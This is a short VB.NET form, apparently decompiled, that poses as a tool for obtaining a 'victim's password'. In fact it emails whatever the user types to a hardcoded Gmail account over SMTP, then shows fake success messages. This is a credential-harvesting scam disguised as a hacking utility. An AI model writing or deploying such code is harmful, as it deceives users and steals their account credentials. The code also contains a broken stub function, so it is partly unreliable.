Imports System.Net.Mail
Public Class Form1

    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
        Dim message As New MailMessage
        Try
            message.From = New MailAddress("rockhabb@gmail.com")
            message.To.Add("rockhabb@gmail.com")
            message.Subject = Me.TextBox1.Text
            message.Body = Me.TextBox2.Text
            Dim client As New SmtpClient("smtp.gmail.com")
            client.Port = &H24B
            client.EnableSsl = True
            client.Credentials = New Net.NetworkCredential("rockhabb@gmail.com", "Password")
            client.Send(message)
            Me.TextBox2.Text = ""
        Catch exception1 As Exception
            ProjectData.SetProjectError(exception1)
            Dim exception As Exception = exception1
            ProjectData.ClearProjectError()
        End Try
        MsgBox("We Have Recieved The Victim's Password From The Email You Have Provided.")
        MsgBox("It Is Being Sent To Your Email Address..")
    End Sub

    Private Function ProjectData() As Object
        Throw New NotImplementedException
    End Function

End Class